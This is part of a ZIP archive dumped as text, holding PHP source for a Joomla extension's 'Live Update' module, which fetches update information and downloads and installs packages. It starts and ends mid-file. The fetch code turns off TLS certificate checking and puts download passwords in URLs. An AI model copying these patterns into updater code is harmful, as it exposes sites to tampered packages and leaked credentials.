string The human-readable name of your extension */ protected $_extensionTitle = 'Foobar Component for Joomla!'; /** * The filename of the XML manifest of your extension. Leave blank to use extensionname.xml. For example, * if the extension is com_foobar, it will look for com_foobar.xml and foobar.xml in the component's * directory. * @var string * */ protected $_xmlFilename = ''; /** @var string The information storage adapter to use. Can be 'file' or 'component' */ protected $_storageAdapter = 'file'; /** @var array The configuration options for the storage adapter used */ protected $_storageConfig = array('path' => JPATH_CACHE); /** * How to determine if a new version is available. 'different' = if the version number is different, * the remote version is newer, 'vcompare' = use version compare between the two versions, 'newest' = * compare the release dates to find the newest. I suggest using 'different' on most cases. * @var string */ protected $_versionStrategy = 'different'; /** @var The current version of your extension. Populated automatically from the XML manifest. */ protected $_currentVersion = ''; /** @var The current release date of your extension. Populated automatically from the XML manifest. */ protected $_currentReleaseDate = ''; /** @var string The URL to the INI update stream of this extension */ protected $_updateURL = ''; /** @var bool Does the download URL require authorization to download the package? */ protected $_requiresAuthorization = false; /** @var string The username to authorize a download on your site */ protected $_username = ''; /** @var string The password to authorize a download on your site */ protected $_password = ''; /** @var string The Download ID to authorize a download on your site; use it instead of the username/password pair */ protected $_downloadID = ''; /** @var string The path to a local copy of cacert.pem, required if you plan on using HTTPS URLs to fetch live udpate information or download files from */ protected $_cacerts = null; /** @var string The minimum stability level to report as available update. One of alpha, beta, rc and stable. */ protected $_minStability = 'alpha'; /** * Singleton implementation * @return LiveUpdateConfig An instance of the Live Update configuration class */ public static function &getInstance() { static $instance = null; if(!is_object($instance)) { $instance = new LiveUpdateConfig(); } return $instance; } /** * Public constructor. It populates all extension-specific fields. Override to your liking if necessary. */ public function __construct() { parent::__construct(); $this->populateExtensionInfo(); $this->populateAuthorization(); } /** * Returns the URL to the update INI stream. By default it returns the value to * the protected $_updateURL property of the class. Override with your implementation * if you want to modify its logic. */ public function getUpdateURL() { return $this->_updateURL; } /** * Override this ethod to load customized CSS and media files instead of the stock * CSS and media provided by Live Update. If you override this class it MUST return * true, otherwise LiveUpdate's CSS will be loaded after yours and will override your * settings. * * @return bool Return true to stop Live Update from loading its own CSS files. */ public function addMedia() { return false; } /** * Gets the authorization string to append to the download URL. It returns either the * download ID or username/password pair. Please override the class constructor, not * this method, if you want to fetch these values. */ public final function getAuthorization() { if(!empty($this->_downloadID)) { return "dlid=".urlencode($this->_downloadID); } if(!empty($this->_username) && !empty($this->_password)) { return "username=".urlencode($this->_username)."&password=".urlencode($this->_password); } return ""; } public final function requiresAuthorization() { return $this->_requiresAuthorization; } /** * Returns all the information we have about the extension and its update preferences * @return array The extension information */ public final function getExtensionInformation() { return array( 'name' => $this->_extensionName, 'title' => $this->_extensionTitle, 'version' => $this->_currentVersion, 'date' => $this->_currentReleaseDate, 'updateurl' => $this->_updateURL, 'requireauth' => $this->_requiresAuthorization ); } /** * Returns the information regarding the storage adapter * @return array */ public final function getStorageAdapterPreferences() { $config = $this->_storageConfig; $config['extensionName'] = $this->_extensionName; return array( 'adapter' => $this->_storageAdapter, 'config' => $config ); } public final function getVersionStrategy() { return $this->_versionStrategy; } /** * Get the current version from the XML manifest of the extension and * populate the class' properties. */ private function populateExtensionInfo() { require_once dirname(__FILE__).'/xmlslurp.php'; $xmlslurp = new LiveUpdateXMLSlurp(); $data = $xmlslurp->getInfo($this->_extensionName, $this->_xmlFilename); if(empty($this->_currentVersion)) $this->_currentVersion = $data['version']; if(empty($this->_currentReleaseDate)) $this->_currentReleaseDate = $data['date']; } /** * Fetch username/password and Download ID from the component's configuration. */ protected function populateAuthorization() { if(!$this->_requiresAuthorization) return; // Do we already have authorizaton information? if( (!empty($this->_username) && !empty($this->_password)) || !empty($this->_downloadID) ) { return; } if(substr($this->_extensionName,0,3) != 'com') return; // Not using JComponentHelper to avoid conflicts ;) $db = JFactory::getDbo(); $sql = $db->getQuery(true) ->select($db->qn('params')) ->from($db->qn('#__extensions')) ->where($db->qn('type').' = '.$db->q('component')) ->where($db->qn('element').' = '.$db->q($this->_extensionName)); $db->setQuery($sql); $rawparams = $db->loadResult(); $params = new JRegistry(); $params->loadString($rawparams, 'JSON'); $this->_username = $params->get('username',''); $this->_password = $params->get('password',''); $this->_downloadID = $params->get('downloadid',''); } public function applyCACert(&$ch) { if(!empty($this->_cacerts)) { if(file_exists($this->_cacerts)) { @curl_setopt($ch, CURLOPT_CAINFO, $this->_cacerts); } } } public function getMinimumStability() { return $this->_minStability; } } PKs>\2#,,(com_csvi/liveupdate/classes/xmlslurp.phpnuW+A */ defined('_JEXEC') or die(); class LiveUpdateXMLSlurp extends JObject { private $_info = array(); public function getInfo($extensionName, $xmlName) { if(!array_key_exists($extensionName, $this->_info)) { $this->_info[$extensionName] = $this->fetchInfo($extensionName, $xmlName); } return $this->_info[$extensionName]; } /** * Gets the version information of an extension by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar, mod_foobar, plg_foobar or tpl_foobar. * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function fetchInfo($extensionName, $xmlName) { $type = strtolower(substr($extensionName,0,3)); switch($type) { case 'com': return $this->getComponentData($extensionName, $xmlName); break; case 'mod': return $this->getModuleData($extensionName, $xmlName); break; case 'plg': return $this->getPluginData($extensionName, $xmlName); break; case 'tpl': return $this->getTemplateData($extensionName, $xmlName); break; case 'pkg': return $this->getPackageData($extensionName, $xmlName); break; case 'lib': return $this->getPackageData($extensionName, $xmlName); break; default: if(strtolower(substr($extensionName, 0, 4)) == 'file') { return $this->getPackageData($extensionName, $xmlName); } else { return array('version'=>'', 'date'=>''); } } } /** * Gets the version information of a component by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getComponentData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $path = JPATH_ADMINISTRATOR.'/components/'.$extensionName; $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.file'); if(JFile::exists("$path/$xmlName")) { $filename = "$path/$xmlName"; } elseif(JFile::exists("$path/$extensionName.xml")) { $filename = "$path/$extensionName.xml"; } elseif(JFile::exists("$path/$altExtensionName.xml")) { $filename = "$path/$altExtensionName.xml"; } elseif(JFile::exists("$path/manifest.xml")) { $filename = "$path/manifest.xml"; } else { $filename = $this->searchForManifest($path); if($filename === false) $filename = null; } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } // Need to check for extension (since 1.6) and install (supported through 2.5) if ($xml->getName() != 'extension' && $xml->getName() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data['version'] = $xml->version ? (string) $xml->version : ''; $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a module by reading its XML file * @param string $extensionName The name of the extension, e.g. mod_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getModuleData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_SITE.'/modules/'.$extensionName; if(!JFolder::exists($path)) { $path = JPATH_ADMINISTRATOR.'/modules/'.$extensionName; } if(!JFolder::exists($path)) { // Joomla! 1.5 // 1. Check front-end $path = JPATH_ADMINISTRATOR.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } // 2. Check front-end if(!JFile::exists($filename)) { $path = JPATH_SITE.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } } else { // Joomla! 1.6 $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } // Need to check for extension (since 1.6) and install (supported through 2.5) if ($xml->getName() != 'extension' && $xml->getName() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data['version'] = $xml->version ? (string) $xml->version : ''; $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a plugin by reading its XML file * @param string $extensionName The name of the plugin, e.g. plg_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getPluginData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $base = JPATH_PLUGINS; // Get a list of directories $stack = JFolder::folders($base,'.',true,true); foreach($stack as $path) { $filename = "$path/$xmlName"; if(JFile::exists($filename)) break; $filename = "$path/$extensionName.xml"; if(JFile::exists($filename)) break; $filename = "$path/$altExtensionName.xml"; if(JFile::exists($filename)) break; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } // Need to check for extension (since 1.6) and install (supported through 2.5) if ($xml->getName() != 'extension' && $xml->getName() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data['version'] = $xml->version ? (string) $xml->version : ''; $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a template by reading its XML file * @param string $extensionName The name of the template, e.g. tpl_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml or templateDetails.xml */ private function getTemplateData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); // First look for administrator templates $path = JPATH_THEMES.'/'.$altExtensionName; if(!JFolder::exists($path)) { // Then look for front-end templates $path = JPATH_SITE.'/templates/'.$altExtensionName; if(!JFolder::exists($path)) return array('version' => '', 'date' => ''); } $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/templateDetails.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } // Need to check for extension (since 1.6) and install (supported through 2.5) if ($xml->getName() != 'extension' && $xml->getName() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data['version'] = $xml->version ? (string) $xml->version : ''; $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; $data['xmlfile'] = $filename; return $data; } /** * This method parses the manifest information of package, library and file * extensions. All of those extensions do not store their manifests in the * extension's directory, but in administrator/manifests. Kudos to @mbabker * for sharing this method! * * @param string $extensionName * @param string $xmlName * @return type */ private function getPackageData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_ADMINISTRATOR.'/manifests/packages'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } // Need to check for extension (since 1.6) and install (supported through 2.5) if ($xml->getName() != 'extension') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data['version'] = $xml->version ? (string) $xml->version : ''; $data['date'] = $xml->creationDate ? (string) $xml->creationDate : ''; $data['xmlfile'] = $filename; return $data; } /** * Scans a directory for XML manifest files. The first XML file to be a * manifest wins. * * @var $path string The path to look into * * @return string|bool The full path to a manifest file or false if not found */ private function searchForManifest($path) { jimport('joomla.filesystem.folder'); $files = JFolder::files($path, '\.xml$', false, true); if(!empty($files)) foreach($files as $filename) { try { $xml = new SimpleXMLElement($filename, LIBXML_NONET, true); } catch(Exception $e) { continue; } // Check for extension (since 1.6) and install (supported through 2.5) if(($xml->getName() != 'extension' && $xml->getName() != 'install')) continue; unset($xml); return $filename; } return false; } } PKs>\Dp7%com_csvi/liveupdate/classes/model.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.model'); if(!class_exists('JoomlaSucksModel')) { if(interface_exists('JModel')) { abstract class JoomlaSucksModel extends JModelLegacy {} } else { class JoomlaSucksModel extends JModel {} } } /** * The Live Update MVC model */ class LiveUpdateModel extends JoomlaSucksModel { public function download() { // Get the path to Joomla!'s temporary directory $jreg = JFactory::getConfig(); $tmpdir = $jreg->get('tmp_path'); jimport('joomla.filesystem.folder'); // Make sure the user doesn't use the system-wide tmp directory. You know, the one that's // being erased periodically and will cause a real mess while installing extensions (Grrr!) if(realpath($tmpdir) == '/tmp') { // Someone inform the user that what he's doing is insecure and stupid, please. In the // meantime, I will fix what is broken. $tmpdir = JPATH_SITE.'/tmp'; } // Make sure that folder exists (users do stupid things too often; you'd be surprised) elseif(!JFolder::exists($tmpdir)) { // Darn it, user! WTF where you thinking? OK, let's use a directory I know it's there... $tmpdir = JPATH_SITE.'/tmp'; } // Oki. Let's get the URL of the package $updateInfo = LiveUpdate::getUpdateInformation(); $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $url = $updateInfo->downloadURL; // Sniff the package type. If sniffing is impossible, I'll assume a ZIP package $basename = basename($url); if(strstr($basename,'?')) { $basename = substr($basename, strstr($basename,'?')+1); } if(substr($basename,-4) == '.zip') { $type = 'zip'; } elseif(substr($basename,-4) == '.tar') { $type = 'tar'; } elseif(substr($basename,-4) == '.tgz') { $type = 'tar.gz'; } elseif(substr($basename,-7) == '.tar.gz') { $type = 'tar.gz'; } else { $type = 'zip'; } // Cache the path to the package file and the temp installation directory in the session $target = $tmpdir.'/'.$updateInfo->extInfo->name.'.update.'.$type; $tempdir = $tmpdir.'/'.$updateInfo->extInfo->name.'_update'; $session = JFactory::getSession(); $session->set('target', $target, 'liveupdate'); $session->set('tempdir', $tempdir, 'liveupdate'); // Let's download! require_once dirname(__FILE__).'/download.php'; return LiveUpdateDownloadHelper::download($url, $target); } public function extract() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.filesystem.archive'); return JArchive::extract( $target, $tempdir); } public function install() { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); $installer = JInstaller::getInstance(); $packageType = JInstallerHelper::detectType($tempdir); if(!$packageType) { $msg = JText::_('LIVEUPDATE_INVALID_PACKAGE_TYPE'); $result = false; } elseif (!$installer->install($tempdir)) { // There was an error installing the package $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Error')); $result = false; } else { // Package installed sucessfully $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Success')); $result = true; } $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('result', $result); $this->setState('packageType', $packageType); if($packageType) { $this->setState('name', $installer->get('name')); $this->setState('message', $installer->message); $this->setState('extmessage', $installer->get('extension_message')); } return $result; } public function cleanup() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.helper'); JInstallerHelper::cleanupInstall($target, $tempdir); $session->clear('target','liveupdate'); $session->clear('tempdir','liveupdate'); } public function getSRPURL($return = '') { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); jimport('joomla.filesystem.file'); $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; if(!JFile::exists($instModelFile)) { $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/plugins/models/installer.php'; }; if(!JFile::exists($instModelFile)) return false; require_once $instModelFile; $model = JModel::getInstance('Installer', 'AkeebaModel'); $packageType = JInstallerHelper::detectType($tempdir); $name = $model->getExtensionName($tempdir); $url = 'index.php?option=com_akeeba&view=backup&tag=restorepoint&type='.$packageType.'&name='.urlencode($name['name']); switch($packageType) { case 'module': case 'template': $url .= '&group='.$name['client']; break; case 'plugin': $url .= '&group='.$name['group']; break; } if(!empty($return)) $url .= '&returnurl='.urlencode($return); return $url; } } PKs>\SD**+com_csvi/liveupdate/classes/updatefetch.phpnuW+A */ defined('_JEXEC') or die(); /** * Fetches the update information from the server or the cache, depending on * whether the cache is fresh or not. */ class LiveUpdateFetch extends JObject { private $cacheTTL = 24; private $storage = null; /** * One-stop-shop function which fetches update information and tells you * if there are updates available or not, or if updates are not supported. * * @return int 0 = no updates, 1 = updates available, -1 = updates not supported, -2 = fetching updates crashes the server */ public function hasUpdates() { $updateInfo = $this->getUpdateInformation(); if($updateInfo->stuck) return -2; if(!$updateInfo->supported) return -1; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); // Filter by stability level $minStability = $config->getMinimumStability(); $stability = strtolower($updateInfo->stability); switch($minStability) { case 'alpha': default: // Reports any stability level as an available update break; case 'beta': // Do not report alphas as available updates if(in_array($stability, array('alpha'))) return 0; break; case 'rc': // Do not report alphas and betas as available updates if(in_array($stability, array('alpha','beta'))) return 0; break; case 'stable': // Do not report alphas, betas and rcs as available updates if(in_array($stability, array('alpha','beta','rc'))) return 0; break; } if(empty($updateInfo->version) && empty($updateInfo->date)) return 0; // Use the version strategy to determine the availability of an update switch($config->getVersionStrategy()) { case 'newest': jimport('joomla.utilities.date'); if(empty($extInfo)) { $mine = new JDate('2000-01-01 00:00:00'); } else { try { $mine = new JDate($extInfo['date']); } catch(Exception $e) { $mine = new JDate('2000-01-01 00:00:00'); } } $theirs = new JDate($updateInfo->date); return ($theirs->toUnix() > $mine->toUnix()) ? 1 : 0; break; case 'vcompare': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return (version_compare($theirs, $mine, 'gt')) ? 1 : 0; break; case 'different': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return ($theirs != $mine) ? 1 : 0; break; } } /** * Get the latest version (update) information, either from the cache or * from the update server. * * @param $force bool Set to true to force fetching fresh data from the server * * @return stdClass The update information, in object format */ public function getUpdateInformation($force = false) { // Get the Live Update configuration $config = LiveUpdateConfig::getInstance(); // Get an instance of the storage class $storageOptions = $config->getStorageAdapterPreferences(); require_once dirname(__FILE__).'/storage/storage.php'; $this->storage = LiveUpdateStorage::getInstance($storageOptions['adapter'], $storageOptions['config']); $storage = $this->storage; // If we are requested to forcibly reload the information, clear old data first if($force) { $this->storage->set('lastcheck', 0); $this->storage->set('updatedata', ''); $this->storage->save(); $registry = $storage->getRegistry(); $registry->set('update.lastcheck', null); $registry->set('update.updatedata', null); $storage->setRegistry($registry); } // Fetch information from the cache $registry = $storage->getRegistry(); $lastCheck = $registry->get('lastcheck', 0); $cachedData = $registry->get('updatedata', null); if(is_string($cachedData)) { $cachedData = trim($cachedData,'"'); $cachedData = json_decode($cachedData); } if(empty($cachedData)) { $lastCheck = 0; } // Check if the cache is at most $cacheTTL hours old $now = time(); $maxDifference = $this->cacheTTL * 3600; $difference = abs($now - $lastCheck); if(!($force) && ($difference <= $maxDifference)) { // The cache is fresh enough; return cached data return $cachedData; } else { // The cache is stale; fetch new data, cache it and return it to the caller $data = $this->getUpdateData($force); $this->storage->set('lastcheck', $now); $this->storage->set('updatedata', json_encode($data)); $this->storage->save(); return $data; } } /** * Retrieves the update data from the server, unless previous runs indicate * that the download process gets stuck and ends up in a WSOD. * * @param bool $force Set to true to force fetching new data no matter if the process is marked as stuck * @return stdClass */ private function getUpdateData($force = false) { $ret = array( 'supported' => false, 'stuck' => true, 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '', 'infoURL' => '', 'releasenotes' => '' ); // If the process is marked as "stuck", we won't bother fetching data again; well, // unless you really force me to, by setting $force = true. if( ($this->storage->get('stuck',0) != 0) && !$force) return (object)$ret; $ret['stuck'] = false; require_once dirname(__FILE__).'/download.php'; // First we mark Live Updates as getting stuck. This way, if fetching the update // fails with a server error, reloading the page will not result to a White Screen // of Death again. Hey, Joomla! core team, are you listening? Some hosts PRETEND to // support cURL or URL fopen() wrappers but using them throws an immediate WSOD. $this->storage->set('stuck', 1); $this->storage->save(); $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $rawData = LiveUpdateDownloadHelper::downloadAndReturn($url); // Now that we have some data returned, let's unmark the process as being stuck ;) $this->storage->set('stuck', 0); $this->storage->save(); // If we didn't get anything, assume Live Update is not supported (communication error) if(empty($rawData) || ($rawData == false)) return (object)$ret; // TODO Detect the content type of the returned update stream. For now, I will pretend it's an INI file. $data = $this->parseINI($rawData); $ret['supported'] = true; return (object)array_merge($ret, $data); } /** * Fetches update information from the server using cURL * @return string The raw server data */ private function fetchCURL() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $process = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($process); curl_setopt($process, CURLOPT_HEADER, 0); // Pretend we are Firefox, so that webservers play nice with us curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110105 Firefox/3.6.14'); curl_setopt($process, CURLOPT_ENCODING, 'gzip'); curl_setopt($process, CURLOPT_TIMEOUT, 10); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false); // The @ sign allows the next line to fail if open_basedir is set or if safe mode is enabled @curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($process, CURLOPT_MAXREDIRS, 20); $inidata = curl_exec($process); curl_close($process); return $inidata; } /** * Fetches update information from the server using file_get_contents, which internally * uses URL fopen() wrappers. * @return string The raw server data */ private function fetchFOPEN() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; return @file_get_contents($url); } /** * Parses the raw INI data into an array of update information * @param string $rawData The raw INI data * @return array The parsed data */ private function parseINI($rawData) { $ret = array( 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '', 'infoURL' => '', 'releasenotes' => '' ); // Get the magic string $magicPos = strpos($rawData, '; Live Update provision file'); if($magicPos === false) { // That's not an INI file :( return $ret; } if($magicPos !== 0) { $rawData = substr($rawData, $magicPos); } require_once dirname(__FILE__).'/inihelper.php'; $iniData = LiveUpdateINIHelper::parse_ini_file($rawData, false, true); // Get the supported platforms $supportedPlatform = false; $versionParts = explode('.',JVERSION); $currentPlatform = $versionParts[0].'.'.$versionParts[1]; if(array_key_exists('platforms', $iniData)) { $rawPlatforms = explode(',', $iniData['platforms']); foreach($rawPlatforms as $platform) { $platform = trim($platform); if(substr($platform,0,7) != 'joomla/') { echo 'continue'; continue; } $platform = substr($platform, 7); if($currentPlatform == $platform) { $supportedPlatform = true; } } } else { // Lies, damn lies $supportedPlatform = true; } if(!$supportedPlatform) { return $ret; } $ret['version'] = array_key_exists('version', $iniData) ? $iniData['version'] : ''; $ret['date'] = array_key_exists('date', $iniData) ? $iniData['date'] : ''; $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); if(!array_key_exists('link', $iniData)) $iniData['link'] = ''; $glue = strpos($iniData['link'],'?') === false ? '?' : '&'; $ret['downloadURL'] = $iniData['link'] . (empty($auth) ? '' : $glue.$auth); if(array_key_exists('stability', $iniData)) { $stability = $iniData['stability']; } else { // Stability not defined; guesswork mode enabled $version = $ret['version']; if( preg_match('#^[0-9\.]*a[0-9\.]*#', $version) == 1 ) { $stability = 'alpha'; } elseif( preg_match('#^[0-9\.]*b[0-9\.]*#', $version) == 1 ) { $stability = 'beta'; } elseif( preg_match('#^[0-9\.]*rc[0-9\.]*#', $version) == 1 ) { $stability = 'rc'; } elseif( preg_match('#^[0-9\.]*$#', $version) == 1 ) { $stability = 'stable'; } else { $stability = 'svn'; } } $ret['stability'] = $stability; if(array_key_exists('releasenotes', $iniData)) { $ret['releasenotes'] = $iniData['releasenotes']; } if(array_key_exists('infourl', $iniData)) { $ret['infoURL'] = $iniData['infourl']; } return $ret; } }PKs>\ztQ Q 1com_csvi/liveupdate/classes/storage/component.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update Component Storage Class * Allows to store the update data to a component's parameters. This is the most reliable method. * Its configuration options are: * component string The name of the component which will store our data. If not specified the extension name will be used. * key string The name of the component parameter where the serialized data will be stored. If not specified "liveupdate" will be used. */ class LiveUpdateStorageComponent extends LiveUpdateStorage { private static $component = null; private static $key = null; public function load($config) { if(!array_key_exists('component', $config)) { self::$component = $config['extensionName']; } else { self::$component = $config['component']; } if(!array_key_exists('key', $config)) { self::$key = 'liveupdate'; } else { self::$key = $config['key']; } // Not using JComponentHelper to avoid conflicts ;) $db = JFactory::getDbo(); $sql = $db->getQuery(true) ->select($db->qn('params')) ->from($db->qn('#__extensions')) ->where($db->qn('type').' = '.$db->q('component')) ->where($db->qn('element').' = '.$db->q(self::$component)); $db->setQuery($sql); $rawparams = $db->loadResult(); $params = new JRegistry(); $params->loadString($rawparams, 'JSON'); $data = $params->get(self::$key, ''); jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); self::$registry->loadString($data, 'INI'); } public function save() { $data = self::$registry->toString('INI'); $db = JFactory::getDBO(); // An interesting discovery: if your component is manually updating its // component parameters before Live Update is called, then calling Live // Update will reset the modified component parameters because // JComponentHelper::getComponent() returns the old, cached version of // them. So, we have to forget the following code and shoot ourselves in // the feet. Dammit!!! $sql = $db->getQuery(true) ->select($db->qn('params')) ->from($db->qn('#__extensions')) ->where($db->qn('type').' = '.$db->q('component')) ->where($db->qn('element').' = '.$db->q(self::$component)); $db->setQuery($sql); $rawparams = $db->loadResult(); $params = new JRegistry(); $params->loadString($rawparams, 'JSON'); $params->set(self::$key, $data); // Joomla! 1.6 $data = $params->toString('JSON'); $sql = $db->getQuery(true) ->update($db->qn('#__extensions')) ->set($db->qn('params').' = '.$db->q($data)) ->where($db->qn('type').' = '.$db->q('component')) ->where($db->qn('element').' = '.$db->q(self::$component)); $db->setQuery($sql); $db->query(); } } PKs>\H!RR,com_csvi/liveupdate/classes/storage/file.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update File Storage Class * Allows to store the update data to files on disk. Its configuration options are: * path string The absolute path to the directory where the update data will be stored as INI files * */ class LiveUpdateStorageFile extends LiveUpdateStorage { private static $filename = null; public function load($config) { $path = $config['path']; $extname = $config['extensionName']; $filename = "$path/$extname.updates.ini"; self::$filename = $filename; jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); jimport('joomla.filesystem.file'); if(JFile::exists(self::$filename)) { self::$registry->loadFile(self::$filename, 'INI'); } } public function save() { jimport('joomla.filesystem.file'); $data = self::$registry->toString('INI'); JFile::write(self::$filename, $data); } } PKs>\)-com_csvi/liveupdate/classes/storage/.htaccessnuW+A Order allow,deny Deny from all PKs>\Y=/com_csvi/liveupdate/classes/storage/storage.phpnuW+A */ defined('_JEXEC') or die(); /** * Abstract class for the update parameters storage * @author nicholas * */ class LiveUpdateStorage { /** * The update data registry * @var JRegistry */ public static $registry = null; /** * * @param string $type * @param array $config * @return LiveUpdateStorage */ public static function getInstance($type, $config) { static $instances = array(); $sig = md5($type, serialize($config)); if(!array_key_exists($sig, $instances)) { require_once dirname(__FILE__).'/'.strtolower($type).'.php'; $className = 'LiveUpdateStorage'.ucfirst($type); $object = new $className($config); $object->load($config); $newRegistry = clone(self::$registry); $object->setRegistry($newRegistry); $instances[$sig] = $object; } return $instances[$sig]; } /** * Returns the internally used registry * * @return JRegistry */ public function &getRegistry() { return self::$registry; } /** * Replaces the internally used registry with the one supplied * * @param JRegistry $registry */ public function setRegistry($registry) { self::$registry = $registry; } public final function set($key, $value) { if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_encode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = base64_encode(serialize($value)); } else { $value = serialize($value); } } self::$registry->set("update.$key", $value); } public final function get($key, $default) { $value = self::$registry->get("update.$key", $default); if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_decode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = unserialize(base64_decode($value)); } else { $value = unserialize($value); } } return $value; } public function save() {} public function load($config) {} } PKs>\"QIx#x#(com_csvi/liveupdate/classes/download.phpnuW+A */ defined('_JEXEC') or die(); /** * 